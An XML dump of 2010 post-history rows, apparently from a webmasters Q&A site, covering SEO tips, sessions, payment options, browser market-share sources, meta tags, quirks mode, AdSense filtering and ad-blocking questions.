  <row Id="1056" PostHistoryTypeId="2" PostId="586" RevisionGUID="f06fd965-2844-4a74-8094-b28a84001c64" CreationDate="2010-07-09T21:20:11.193" UserId="17" Text="This is the best place to start http://www.kaushik.net/avinash/ &#xD;&#xA;&#xD;&#xA;Avinash Kaushik is great." />
  <row Id="1057" PostHistoryTypeId="5" PostId="14" RevisionGUID="581e13f7-3481-4740-921d-20fe267c6753" CreationDate="2010-07-09T21:24:18.357" UserId="36" Comment="added 1 characters in body" Text="Here are some rules I follow:&#xD;&#xA;&#xD;&#xA; - Try not to repeat content.&#xD;&#xA; - Try to get linked from other, **quality** websites whilst keeping your outgoing links low.&#xD;&#xA; - Give each page a relevant (and unique) title.&#xD;&#xA; - Add in a meta-description to each page describing the contents or purpose.&#xD;&#xA; - Build a sitemap for your website and submit it using the [Google WebMaster tools][1].&#xD;&#xA; - Keep content unique and relevant to your website.&#xD;&#xA; - Use HTML correctly (header tags, titles and alt attributes on images). &#xD;&#xA; - Try to use relevant keywords in the URL.&#xD;&#xA; - Ensure a [fast load time][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Over time your domain will gain &quot;trust&quot; with Google and naturally rank better. If you try to speed this process up, using things like keyword spamming on your website, you are likely to be picked up and blacklisted by Google so avoid this wherever possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="1058" PostHistoryTypeId="5" PostId="583" RevisionGUID="58e95264-6661-4364-a373-8d14a3eacb1e" CreationDate="2010-07-09T21:34:04.710" UserId="36" Comment="deleted 94 characters in body" Text="You should consider using **sessions** to handle this sort of scenario.&#xD;&#xA; &#xD;&#xA;Sessions generally work by generating a unique GUID for the user's authentication and saving it in a cookie on the user's local machine or passing it around, from page to page, through the URL.  &#xD;&#xA;&#xD;&#xA;This session GUID points to a file or database entry on the server that can then be read and written to by your source code, by associating the GUID in the user's cookie/URL with the GUID of the file or database entry that holds your data.  &#xD;&#xA;&#xD;&#xA;It's generally safe to put more sensitive data (such as the user ID) in sessions as nothing is visible to the end user except the session GUID.&#xD;&#xA;&#xD;&#xA;Most web-based languages will have some sort of session management built in." />
  <row Id="1059" PostHistoryTypeId="5" PostId="45" RevisionGUID="be5ab423-4fb2-42a3-962e-2cdae183978e" CreationDate="2010-07-09T21:35:59.063" UserId="36" Comment="added 4 characters in body" Text="If I wanted to take payments on my website, what options would be available to me?" />
  <row Id="1061" PostHistoryTypeId="2" PostId="587" RevisionGUID="81099a58-ddb1-4f92-9dcc-80aa64b30c5b" CreationDate="2010-07-09T21:44:02.557" UserId="186" Text="Browser market share is important to a webmaster, or at least it will be until IE6, 7 and 8 disappear (my guess is the year 2532, more or less).&#xD;&#xA;&#xD;&#xA;What is the most trustable, versatile and ultimately useful source of browser market share data?&#xD;&#xA;Bonus points if:&#xD;&#xA;&#xD;&#xA; - It's updated more than once a year&#xD;&#xA; - Data is segmented geographically&#xD;&#xA; - Data is segmented by site category / area of interest&#xD;&#xA; - Data is segmented in other ways (age? that'd be awesome!)&#xD;&#xA;&#xD;&#xA;I don't think that the site with the “most” data is necessary the best - but feel free to prove me wrong!" />
  <row Id="1062" PostHistoryTypeId="1" PostId="587" RevisionGUID="81099a58-ddb1-4f92-9dcc-80aa64b30c5b" CreationDate="2010-07-09T21:44:02.557" UserId="186" Text="What is the best browser market share data source?" />
  <row Id="1063" PostHistoryTypeId="3" PostId="587" RevisionGUID="81099a58-ddb1-4f92-9dcc-80aa64b30c5b" CreationDate="2010-07-09T21:44:02.557" UserId="186" Text="&lt;data&gt;&lt;browsers&gt;&lt;market-share&gt;&lt;statistics&gt;" />
  <row Id="1064" PostHistoryTypeId="2" PostId="588" RevisionGUID="a9deb8ec-0de9-4261-81fd-479fa056273f" CreationDate="2010-07-09T21:46:59.700" UserId="108" Text="I think this site is about the best you will get http://gs.statcounter.com/.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - It is updated at least once a week&#xD;&#xA; - It allows you to choose country or region&#xD;&#xA; - It lets you look at mobile or desktop and browser version&#xD;&#xA; - And it shows you the data over time so you can see trends and changes in usage&#xD;&#xA;&#xD;&#xA;Getting data tied directly to usage by age group and area of interest is going to be very tough.  Especially age as how would they know how old the user on the computer is?" />
  <row Id="1065" PostHistoryTypeId="2" PostId="589" RevisionGUID="1422c243-80b5-412f-b6ee-0b7259edef8b" CreationDate="2010-07-09T21:53:41.630" UserId="108" Text="You site will be a little slower but it should be relatively unnoticed to most if not all users.  Google works very hard to keep their footprint small.&#xD;&#xA;&#xD;&#xA;As for legal implications, contacting a lawyer is a good idea.  I am not a lawyer so take my advice as is. Most sites use Google Analytics because it is free, unobtrusive, and works well.  Also, Google doesn't collect any info you enter into a site just what and where you click." />
  <row Id="1066" PostHistoryTypeId="2" PostId="590" RevisionGUID="faba256e-c8fb-42f0-87dd-f8f51e8ae87b" CreationDate="2010-07-09T22:01:37.430" UserId="82" Text="Google, Amazon, PayPal, roll your own.  We have a custom coded online store with custom shopping carts that is using Amazon for the checkout process.  When the customer 'checks out' of our site, they are sent to Amazon where the items are added to an Amazon cart.  We have seen abandoned shopping carts full of items and are concerned that it is partially caused by people seeing the Amazon name and going there directly.  We are in the process of standing up another site with a custom shopping cart that will take payments directly.  Has anyone already gone through this type of iterative testing that can share experiences?" />
  <row Id="1067" PostHistoryTypeId="1" PostId="590" RevisionGUID="faba256e-c8fb-42f0-87dd-f8f51e8ae87b" CreationDate="2010-07-09T22:01:37.430" UserId="82" Text="Google, Amazon, PayPal, roll your own, Shopping Cart/Checkout option that doesn't put off potential customers?" />
  <row Id="1068" PostHistoryTypeId="3" PostId="590" RevisionGUID="faba256e-c8fb-42f0-87dd-f8f51e8ae87b" CreationDate="2010-07-09T22:01:37.430" UserId="82" Text="&lt;payments&gt;&lt;paypal&gt;&lt;shopping&gt;&lt;amazon&gt;&lt;shopping-cart&gt;" />
  <row Id="1069" PostHistoryTypeId="2" PostId="591" RevisionGUID="f270ffb1-c9ea-459a-a6fb-e3f38def8ab8" CreationDate="2010-07-09T22:07:58.643" UserId="82" Text="[Paypal shopping carts][1] is something we have looked into using.  A thing you need to look into is the volume you expect and how much control you want to have of the process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.paypal.com/cgi-bin/webscr?cmd=p/xcl/rec/sc-intro-outside" />
  <row Id="1070" PostHistoryTypeId="2" PostId="592" RevisionGUID="a3d100e8-54e7-4935-b00d-5842dc7f7443" CreationDate="2010-07-09T22:14:31.337" UserId="82" Text="Microsoft is also running [Windows Azure CDN][1] and they recently released their [pricing structure for it][2] as:&#xD;&#xA;&#xD;&#xA;    “The following three billing meters and rates will apply for the CDN:&#xD;&#xA;&#xD;&#xA;    •$0.15 per GB for data transfers from European and North American locations&#xD;&#xA;    •$0.20 per GB for data transfers from other locations&#xD;&#xA;    •$0.01 per 10,000 transactions”&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/windowsazure/&#xD;&#xA;  [2]: http://www.zdnet.com/blog/microsoft/microsoft-reveals-content-delivery-network-pricing-for-azure/6387" />
  <row Id="1071" PostHistoryTypeId="2" PostId="593" RevisionGUID="d78feba5-d9ec-46de-9771-82e4578650dc" CreationDate="2010-07-09T22:15:45.547" UserId="172" Text="After reading this question about [meta keywords][1], I've been wondering : of all meta tags, which ones are really worth the effort ?&#xD;&#xA;&#xD;&#xA;I know that the description is used in google search results, and the content type and encoding are used by the browser, but what are the other tags that we should always include in our pages ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/6/are-meta-keywords-worth-the-effort" />
  <row Id="1072" PostHistoryTypeId="1" PostId="593" RevisionGUID="d78feba5-d9ec-46de-9771-82e4578650dc" CreationDate="2010-07-09T22:15:45.547" UserId="172" Text="Which meta tags are not worth the effort ?" />
  <row Id="1073" PostHistoryTypeId="3" PostId="593" RevisionGUID="d78feba5-d9ec-46de-9771-82e4578650dc" CreationDate="2010-07-09T22:15:45.547" UserId="172" Text="&lt;html&gt;&lt;meta&gt;&lt;tags&gt;" />
  <row Id="1074" PostHistoryTypeId="2" PostId="594" RevisionGUID="b8ecafee-efe1-44e2-adb0-35f863e3bfe7" CreationDate="2010-07-09T22:22:26.617" UserId="82" Text="I haven't tried them, but I have considered using UserTesting&#xD;&#xA;&#xD;&#xA;&gt; For $39 you get:&#xD;&#xA;&gt; &#xD;&#xA;&gt; ·         Video of a visitor speaking&#xD;&#xA;&gt; their thoughts as they use your site &#xD;&#xA;&gt; &#xD;&#xA;&gt; ·         Written summary describing&#xD;&#xA;&gt; the problems they encountered &#xD;&#xA;&gt; &#xD;&#xA;&gt; http://www.usertesting.com/&#xD;&#xA;&#xD;&#xA;Does anyone have any experience with them?&#xD;&#xA;" />
  <row Id="1075" PostHistoryTypeId="2" PostId="595" RevisionGUID="f1df55b3-f162-4a52-8548-7237ab074663" CreationDate="2010-07-09T22:25:10.360" UserId="15" Text="See [this article][1] on how to easily integrate Paypal and Google Checkout into your site. It has a .NET focus, but even if you ignore the .NET stuff, all the form stuff still applies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dotnetdiscussion.net/2008/02/27/aspnet-how-to-integrate-both-google-checkout-and-paypal-in-3-steps/" />
  <row Id="1076" PostHistoryTypeId="2" PostId="596" RevisionGUID="85441b57-ab7c-48ce-80b5-32688ca31190" CreationDate="2010-07-09T22:25:26.397" UserId="180" Text="Meta tags are used for many different purposes (such as [Dublin Core][1], [ICBM][2], [Open Graph Protocol][3], [Powder][4]) and generally have some  specific uses that are important to some sites.  However, to determine which meta tags are &quot;worth it&quot; for you, we'd need to know a little more about your motivation and the focus of your site.&#xD;&#xA;&#xD;&#xA;For general SEO purposes and usability, you don't need any metadata other than title, content-type, and description in your head section.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dublincore.org/&#xD;&#xA;  [2]: http://geourl.org/add.html&#xD;&#xA;  [3]: http://developers.facebook.com/docs/opengraph&#xD;&#xA;  [4]: http://www.w3.org/2007/powder/" />
  <row Id="1077" PostHistoryTypeId="5" PostId="85" RevisionGUID="f1a01912-6747-49d7-bce7-62964674d552" CreationDate="2010-07-09T22:39:00.770" UserId="59" Comment="added 86 characters in body; edited tags" Text="What's required of a web server in order to offer up streaming video?  Where would you start?&#xD;&#xA;&#xD;&#xA;Edit: Let's assume it is **not** real-time or live streaming, just canned videos.z" />
  <row Id="1078" PostHistoryTypeId="6" PostId="85" RevisionGUID="f1a01912-6747-49d7-bce7-62964674d552" CreationDate="2010-07-09T22:39:00.770" UserId="59" Comment="added 86 characters in body; edited tags" Text="&lt;server&gt;&lt;bandwidth&gt;&lt;video&gt;" />
  <row Id="1080" PostHistoryTypeId="2" PostId="598" RevisionGUID="99c43dc4-cef2-47b5-9b08-14aa3d92ad8f" CreationDate="2010-07-09T23:05:21.387" UserId="72" Text="**[http://en.wikipedia.org/wiki/Usage_share_of_web_browsers][1]**&#xD;&#xA;&#xD;&#xA;This page list the best and most reliable source of information on the market share of browser. Pretty much everything that people will answer is listed there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Usage_share_of_web_browsers" />
  <row Id="1082" PostHistoryTypeId="5" PostId="598" RevisionGUID="ed3388ed-6e56-4e7c-8724-55c951e607ab" CreationDate="2010-07-09T23:11:14.980" UserId="72" Comment="added 538 characters in body" Text="**[http://en.wikipedia.org/wiki/Usage_share_of_web_browsers][1]**&#xD;&#xA;&#xD;&#xA;This page list the best and most reliable source of information on the market share of browser. Pretty much everything that people will answer is listed there.&#xD;&#xA;&#xD;&#xA;Here's the list :&#xD;&#xA;&#xD;&#xA;- W3Counter : http://www.w3counter.com/globalstats.php  &#xD;&#xA;- Net Applications : http://marketshare.hitslink.com/browser-market-share.aspx?qprid=0  &#xD;&#xA;- StatCounter : http://gs.statcounter.com/  &#xD;&#xA;- StatOwl : http://www.statowl.com/&#xD;&#xA;- Clicky  : http://www.getclicky.com/marketshare/global/web-browsers/&#xD;&#xA;&#xD;&#xA;And to answer the question, which one is the best ? In term of global statistic, I would say the pie chart they have on Wikipedia would be the most reliable since it's an average of the 5 sources of information.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Usage_share_of_web_browsers" />
  <row Id="1083" PostHistoryTypeId="5" PostId="598" RevisionGUID="f83cd8a1-579e-40eb-b74d-826cc13c89b7" CreationDate="2010-07-09T23:16:57.123" UserId="72" Comment="added 369 characters in body" Text="**[http://en.wikipedia.org/wiki/Usage_share_of_web_browsers][1]**&#xD;&#xA;&#xD;&#xA;This page list the best and most reliable source of information on the market share of browser. Pretty much everything that people will answer is listed there.&#xD;&#xA;&#xD;&#xA;Here's the list :&#xD;&#xA;&#xD;&#xA;- W3Counter : http://www.w3counter.com/globalstats.php  &#xD;&#xA;- Net Applications : http://marketshare.hitslink.com/browser-market-share.aspx?qprid=0  &#xD;&#xA;- StatCounter : http://gs.statcounter.com/  &#xD;&#xA;- StatOwl : http://www.statowl.com/&#xD;&#xA;- Clicky  : http://www.getclicky.com/marketshare/global/web-browsers/&#xD;&#xA;&#xD;&#xA;And to answer the question, which one is the best ? In term of global statistic, I would say the pie chart they have on Wikipedia would be the most reliable since it's an average of the 5 sources of information.&#xD;&#xA;&#xD;&#xA;If you want to compare them, one by one, I would say [Stat Counter][2] seems to be the most accurate source of information. His numbers are the one that are the closest to the mean and the median or all the 5 sources of information.&lt;sup&gt;[1][3]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Usage_share_of_web_browsers&#xD;&#xA;  [2]: http://gs.statcounter.com/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Usage_share_of_web_browsers#Summary_table" />
  <row Id="1084" PostHistoryTypeId="2" PostId="599" RevisionGUID="18643206-c4b3-4445-8b79-7283310d20a0" CreationDate="2010-07-09T23:35:11.477" UserId="180" Text="If you are an extremely high-volume site, you may want to consider using super-short entity id and class names, as these reduce the size of both the HTML page and the CSS page used to style it.&#xD;&#xA;&#xD;&#xA;Also, be careful about overly-structured site composition; it is easy to add div and span sections when they are not truly needed.  You may also want to consider strategies such as  paging for large result sets and similar output.&#xD;&#xA;&#xD;&#xA;In reality, these optimizations have extremely limited payback (and for the paging strategy, potential SEO downsides) to be worth it for sites that aren't in the same traffic category as Google.  Just follow [jessegavin's recommendation][1] to enable GZip/Deflate compression and be done with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/569/common-optimizations-to-reduce-html-or-xhtml-page-size/570#570" />
  <row Id="1085" PostHistoryTypeId="2" PostId="600" RevisionGUID="739034ad-e3ed-406d-b918-ab3423ef2c06" CreationDate="2010-07-09T23:35:56.593" UserId="15" Text="Include any metatags you feel you need. They don't affect the rendering of the page at all, unless you have a ridiculous amount of data in them. They cannot harm you unless you are intentionally using them to be harmful, such as keyword spamming." />
  <row Id="1086" PostHistoryTypeId="2" PostId="601" RevisionGUID="1d809105-444a-411d-813c-a52ed2fa6f42" CreationDate="2010-07-09T23:42:24.273" UserId="180" Text="A combination of [Wowza Media Server][1] and the open source [Flowplayer][2] flash application do a great job of streaming archived video from a website.  The City of Nanaimo is using these tools along with [Adobe's Flash Media Live Encoder][3] and [ffmpeg][4] for their council video archives ([example][5])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wowzamedia.com/&#xD;&#xA;  [2]: http://flowplayer.org/ &#xD;&#xA;  [3]: http://www.adobe.com/products/flashmediaserver/flashmediaencoder/&#xD;&#xA;  [4]: http://www.ffmpeg.org/&#xD;&#xA;  [5]: http://www.nanaimo.ca/CouncilMeetings/VideoArchive.aspx?clip=C100621V" />
  <row Id="1087" PostHistoryTypeId="2" PostId="602" RevisionGUID="8736df8f-c471-4d86-85d4-51e1818671c8" CreationDate="2010-07-09T23:52:27.220" UserId="180" Text="One reason to test your site for valid HTML is that it ensures that the search engine spiders will be able to fully index and determine the meaning of your pages.  If they cannot do so due to malformed HTML (which the major browsers may work around for historical reasons) then you are potentially limiting your search engine rankings.  &#xD;&#xA;&#xD;&#xA;There has also been  speculation that while the major search engines do a good job of dealing with malformed HTML, they may also assign page quality &quot;points&quot; for validity, further affecting your ability to rank as high as your content deserves.&#xD;&#xA;" />
  <row Id="1091" PostHistoryTypeId="2" PostId="604" RevisionGUID="a69865a6-85e3-4d80-9d5b-6e8c667c2dee" CreationDate="2010-07-10T00:20:36.163" UserId="132" Text="Quirks mode is where a browser does not render pages as expected per the HTML spec. At one point, web browsers gained what is essentially a switch - the inclusion of a **doctype** at the top of a page. Absent that doctype, the browser goes into quirks mode. The presence of a valid doctype forces the browser into standard mode, the &quot;correct&quot; mode.&#xD;&#xA;&#xD;&#xA;It is preferable to use standards mode - so, use a doctype! - for moving forward, as this ensures your pages will work correctly and consistently across as many browsers as possible." />
  <row Id="1093" PostHistoryTypeId="2" PostId="605" RevisionGUID="63581ee6-9ca0-4239-a907-6d26f26facdc" CreationDate="2010-07-10T00:38:30.950" UserId="132" Text="You may want to have a look at &lt;a href=&quot;http://www.alistapart.com/articles/flashsatay/&quot;&gt;Flash Satay&lt;/a&gt; - it is dated, but it quite nicely shows the issues in getting Flash working in a cross-browser fashion." />
  <row Id="1094" PostHistoryTypeId="2" PostId="606" RevisionGUID="b7d348e7-f439-4009-80ac-4ddd2d3e088e" CreationDate="2010-07-10T00:59:09.847" UserDisplayName="delete" Text="Anybody who blocks JavaScript won't show up on Google Analytics. I don't know of that many people who deliberately block Google Analytics itself, but I do know that Analytics under-reports traffic, usually somewhere between ten and thirty percent on my sites, so somehow or other it is getting blocked a lot. Another thing is that it doesn't show up any web crawler or robot traffic, and doesn't show up hotlinked images and other kinds of abuse.&#xD;&#xA;&#xD;&#xA;As for delaying the load, loading the same piece of JavaScript again and again on each page won't slow things down since the JavaScript will be cached anyway. It is detecting the time on the page somehow, so it must also be phoning home on page load and unload, which has to involve a short delay. However I honestly cannot detect that or notice it at all.&#xD;&#xA;&#xD;&#xA;As far as I know, there is no requirement to have a privacy policy in order to use Analytics (unlike Adsense).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1095" PostHistoryTypeId="2" PostId="607" RevisionGUID="0d672bee-1fa4-43f1-8f99-80af58ed81ef" CreationDate="2010-07-10T01:19:08.300" UserId="137" Text="If you develop in quirks mode, then you are effectively asking the browser to emulate  pre-IE6 bugs. Is that really something you want to be doing?&#xD;&#xA;&#xD;&#xA;Look at this [Wikipedia page][1] for the basics of triggering quirks mode. It is actually far more complicated in practice, but it is a good start. The [web developer toolbar][2] add on for Firefox will tell you the standards compliance mode used (I am sure there are other tools for other browsers).&#xD;&#xA;&#xD;&#xA;It is worth noting that many browsers have two modes other than quirks mode - almost standards mode and standards mode. Unfortunately, IE6 and IE7 only run in almost standards mode and so if you need to support these browsers, it is tempting to try to [use almost standards mode in all browsers][3]. However, it is probably better to develop against the standards and then try to fix up browser quirks. HTML5 will only offer the strict mode, so you really should try to develop against this for future compatibility.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Quirks_mode#Comparison_of_document_types&#xD;&#xA;  [2]: https://addons.mozilla.org/en-US/firefox/addon/60/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3183381/should-i-use-almost-standards-mode-for-all-browsers" />
  <row Id="1096" PostHistoryTypeId="2" PostId="608" RevisionGUID="685f4a5f-ec1e-4d47-a984-8e0ed7e5d4d2" CreationDate="2010-07-10T01:21:55.097" UserDisplayName="delete" Text="This is a bit amusing since it seems like you have missed one of the best features of Google Analytics, which is the benchmarking. The benchmarking tells you exactly how your site compares to a large group of other sites in terms of time on page, pages viewed, etc. Take a look on the menu bar on the left site for &quot;Visitors&quot;/&quot;Benchmarking&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1097" PostHistoryTypeId="5" PostId="608" RevisionGUID="f69f7d82-3464-4818-a1ad-c71278b70468" CreationDate="2010-07-10T01:36:34.187" UserDisplayName="delete" Comment="Hmm." Text="Google Analytics benchmarking tells you exactly how your site compares to a large group of other sites in terms of time on page, pages viewed, etc. Take a look on the menu bar on the left site for &quot;Visitors&quot;/&quot;Benchmarking&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1098" PostHistoryTypeId="5" PostId="607" RevisionGUID="cc1cbe03-0727-4b4e-bc31-b334dd3cdfbe" CreationDate="2010-07-10T01:38:34.557" UserId="137" Comment="added 729 characters in body" Text="If you develop in quirks mode, then you are effectively asking the browser to emulate  pre-IE6 bugs. Is that really something you want to be doing?&#xD;&#xA;&#xD;&#xA;[Wikipedia][1] explains the basics of triggering quirks mode, but there are a number of special cases it doesn't cover. The [link provided by txwikinger][2] gives a good explanation of the history and the main differences.&#xD;&#xA;&#xD;&#xA;Jukka Korpela explains the [differences in more detail][3] and also how to check the compatibility mode:&#xD;&#xA;&#xD;&#xA;&gt; Checking the mode To check which mode&#xD;&#xA;&gt; (Quirks vs. Standards) a browser is&#xD;&#xA;&gt; in,&#xD;&#xA;&gt; &#xD;&#xA;&gt; On Firefox, use the command View/Page Info (and see the General&#xD;&#xA;&gt; pane); or if you have Web Developer&#xD;&#xA;&gt; Extension, just check an icon in its&#xD;&#xA;&gt; toolbar (third icon from the right).&#xD;&#xA;&gt; &#xD;&#xA;&gt; For IE, type javascript:alert(document.compatMode)&#xD;&#xA;&gt; in the address bar, and check whether&#xD;&#xA;&gt; the popup window then says CSS1Compat&#xD;&#xA;&gt; (indicating Standards Mode) or&#xD;&#xA;&gt; BackCompat (indicating Quirks Mode);&#xD;&#xA;&gt; alternatively, download and install&#xD;&#xA;&gt; the simple Quirks or Standards Mode&#xD;&#xA;&gt; Bookmarklet.&#xD;&#xA;&#xD;&#xA;It is worth noting that many browsers have two modes other than quirks mode - almost standards mode and standards mode. Unfortunately, IE6 and IE7 only run in almost standards mode and so if you need to support these browsers, it is tempting to try to [use almost standards mode in all browsers][5]. However, it is probably better to develop against the standards and then try to fix up browser quirks. HTML5 will only offer the strict mode, so you really should try to develop against this for future compatibility.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Quirks_mode#Comparison_of_document_types&#xD;&#xA;  [2]: http://www.quirksmode.org/css/quirksmode.html&#xD;&#xA;  [3]: http://www.cs.tut.fi/~jkorpela/quirks-mode.html&#xD;&#xA;  [4]: https://addons.mozilla.org/en-US/firefox/addon/60/&#xD;&#xA;  [5]: http://stackoverflow.com/questions/3183381/should-i-use-almost-standards-mode-for-all-browsers" />
  <row Id="1099" PostHistoryTypeId="2" PostId="609" RevisionGUID="ecfbf84d-41db-4880-bd2f-4ec1165a967d" CreationDate="2010-07-10T01:43:01.253" UserDisplayName="delete" Text="OK I have blocked &quot;Evony Online&quot; and other such annoying stuff. But I am now getting these exasperating flash adverts from Google themselves for &quot;Google Translate&quot;.&#xD;&#xA;&#xD;&#xA;How do I block adsense ads from Google? I tried putting google.com and google.co.* into the competitive ad filter but it doesn't seem to work.&#xD;&#xA;" />
  <row Id="1100" PostHistoryTypeId="1" PostId="609" RevisionGUID="ecfbf84d-41db-4880-bd2f-4ec1165a967d" CreationDate="2010-07-10T01:43:01.253" UserDisplayName="delete" Text="How do I block ads from Google?" />
  <row Id="1101" PostHistoryTypeId="3" PostId="609" RevisionGUID="ecfbf84d-41db-4880-bd2f-4ec1165a967d" CreationDate="2010-07-10T01:43:01.253" UserDisplayName="delete" Text="&lt;google-adsense&gt;" />
  <row Id="1102" PostHistoryTypeId="6" PostId="609" RevisionGUID="91590f13-7234-41f6-878a-2a8b3e192753" CreationDate="2010-07-10T01:46:04.227" UserId="40" Comment="edited tags" Text="&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="1103" PostHistoryTypeId="9" PostId="609" RevisionGUID="33842dba-0dd6-4539-92ff-12fd44ee4293" CreationDate="2010-07-10T01:47:49.307" UserDisplayName="delete" Comment="Rollback to [ecfbf84d-41db-4880-bd2f-4ec1165a967d]" Text="&lt;google-adsense&gt;" />
  <row Id="1104" PostHistoryTypeId="5" PostId="609" RevisionGUID="a7f9dec6-2bd1-49c7-bbde-1281083d7f87" CreationDate="2010-07-10T01:50:01.347" UserDisplayName="delete" Comment="added 169 characters in body" Text="OK I have blocked &quot;Evony Online&quot; and other such annoying stuff using the competitive ad filter. But I am now getting these exasperating flash adverts from Google themselves for &quot;Google Translate&quot;.&#xD;&#xA;&#xD;&#xA;How do I block adsense ads from Google? I tried putting google.com and google.co.* into the competitive ad filter but it doesn't seem to work.&#xD;&#xA;&#xD;&#xA;&lt;i&gt;(Please note: If you don't know what the words &lt;b&gt;competitive ad filter&lt;/b&gt; mean, you won't know the answer to this question.)&lt;/i&gt;&#xD;&#xA;" />
  <row Id="1105" PostHistoryTypeId="5" PostId="508" RevisionGUID="91b3a606-d39f-465f-9563-b5ddb2979931" CreationDate="2010-07-10T01:56:36.183" UserId="141" Comment="added 29 characters in body" Text="The following characters have special meaning in the path component of your URL (the path component is everything before the '?'):&#xD;&#xA;&#xD;&#xA;      &quot;;&quot; | &quot;/&quot; | &quot;?&quot;&#xD;&#xA;&#xD;&#xA;In addition to those, the following characters have special meaning in the query part of your URL (everything after '?'). Therefore, if they are after the '?' you need to escape them:&#xD;&#xA;&#xD;&#xA;      &quot;:&quot; | &quot;@&quot; | &quot;&amp;&quot; | &quot;=&quot; | &quot;+&quot; | &quot;$&quot; | &quot;,&quot;&#xD;&#xA;&#xD;&#xA;For a more in-depth explanation, see the [RFC][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ietf.org/rfc/rfc2396.txt" />
  <row Id="1106" PostHistoryTypeId="2" PostId="610" RevisionGUID="1a98d0e3-a3d6-4bc8-9e3d-38cd1101bdff" CreationDate="2010-07-10T01:58:43.790" UserId="137" Text="You may want to check out the thread on StackOverflow&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/462848/testing-a-website-for-cross-browser-multiple-version-support&#xD;&#xA;http://stackoverflow.com/questions/1961724/checking-a-website-on-old-versions-of-popular-browsers" />
  <row Id="1107" PostHistoryTypeId="2" PostId="611" RevisionGUID="6dc9112a-61c0-40bf-b0a8-0aceb662d276" CreationDate="2010-07-10T01:58:49.563" UserDisplayName="delete" Text="I know there is a link at the bottom of every page, but maybe it's worth mentioning the &quot;Conversion University&quot;:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/conversionuniversity/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1108" PostHistoryTypeId="2" PostId="612" RevisionGUID="c828266a-c3a1-4511-88e4-f4d6e2f5c8b7" CreationDate="2010-07-10T02:12:48.703" UserId="215" Text="&gt; I tried putting google.com and google.co.* into the competitive ad filter but it doesn't seem to work.&#xD;&#xA;&#xD;&#xA;The adsense URI is:&#xD;&#xA;&#xD;&#xA;    googlesyndication.com" />
  <row Id="1109" PostHistoryTypeId="2" PostId="613" RevisionGUID="0cc3509c-e679-4eab-af79-e145829fb21c" CreationDate="2010-07-10T02:17:01.920" UserDisplayName="delete" Text="What sites are there which can detect the underlying host of a website?&#xD;&#xA;" />
  <row Id="1110" PostHistoryTypeId="1" PostId="613" RevisionGUID="0cc3509c-e679-4eab-af79-e145829fb21c" CreationDate="2010-07-10T02:17:01.920" UserDisplayName="delete" Text="Site host detectors" />
  <row Id="1111" PostHistoryTypeId="3" PostId="613" RevisionGUID="0cc3509c-e679-4eab-af79-e145829fb21c" CreationDate="2010-07-10T02:17:01.920" UserDisplayName="delete" Text="&lt;web-hosting&gt;&lt;detection&gt;" />
  <row Id="1112" PostHistoryTypeId="16" PostId="613" RevisionGUID="0cc3509c-e679-4eab-af79-e145829fb21c" CreationDate="2010-07-10T02:17:01.920" UserDisplayName="delete" />
  <row Id="1113" PostHistoryTypeId="2" PostId="614" RevisionGUID="3d11b49c-b9fc-4a68-98ea-d40e3c7ddf1e" CreationDate="2010-07-10T02:17:12.577" UserDisplayName="delete" Text="http://who-hosts.com/" />
  <row Id="1114" PostHistoryTypeId="16" PostId="614" RevisionGUID="3d11b49c-b9fc-4a68-98ea-d40e3c7ddf1e" CreationDate="2010-07-10T02:17:12.577" UserId="-1" />
  <row Id="1115" PostHistoryTypeId="2" PostId="615" RevisionGUID="52d5f46c-c104-4535-982b-e33911562e85" CreationDate="2010-07-10T02:22:19.350" UserId="141" Text="Is there a way to force my users to not use AdBlock?&#xD;&#xA;&#xD;&#xA;If not, what can I do to discourage its use?" />
  <row Id="1116" PostHistoryTypeId="1" PostId="615" RevisionGUID="52d5f46c-c104-4535-982b-e33911562e85" CreationDate="2010-07-10T02:22:19.350" UserId="141" Text="How can I deal with advertisement revenues lost because of adblock?" />
  <row Id="1117" PostHistoryTypeId="3" PostId="615" RevisionGUID="52d5f46c-c104-4535-982b-e33911562e85" CreationDate="2010-07-10T02:22:19.350" UserId="141" Text="&lt;adblock&gt;" />
  <row Id="1118" PostHistoryTypeId="2" PostId="616" RevisionGUID="fab99aee-400f-404f-97ec-f90b97ea2aeb" CreationDate="2010-07-10T02:26:08.857" UserId="172" Text="I guess the best solution is to look at the DNS server the domain points to. This usually gives you a good idea of whose server the website is hosted on.&#xD;&#xA;&#xD;&#xA;To do so, you can use any whois website, e.g. www.whois.net." />
